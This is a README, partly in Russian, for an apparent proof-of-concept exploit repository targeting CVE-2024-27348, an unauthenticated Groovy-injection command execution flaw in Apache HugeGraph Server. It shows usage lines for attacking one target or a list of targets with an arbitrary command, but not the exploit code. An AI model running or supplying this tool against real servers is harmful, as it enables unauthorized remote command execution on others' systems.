kljunowsky/cve-2024-27348Apache HugeGraph Server Unauthenticated RCE - CVE-2024-27348 Proof of concept Exploit
CVE-2024-27348: Proof of concept эксплойт RCE в Apache HugeGraph Server
Неаутентифицированные пользователи могут выполнять команды ОС через внедрение Groovy в Apache HugeGraph Server.
Эксплойт для нескольких целей ☣️
python3 CVE-2024-27348.py -f targets.txt -c "command to execute"
Эксплойт для одной цели 🗡
python3 CVE-2024-27348.py -t http://target.tld:8080 -c "command to execute"
| Параметр | Описание | Тип |
|---|---|---|
| -c/--comand | Команда для выполнения на цели | Строка |
| -t/--target | URL, одна цель | Строка |
| -f/--file | Несколько целей | Файл |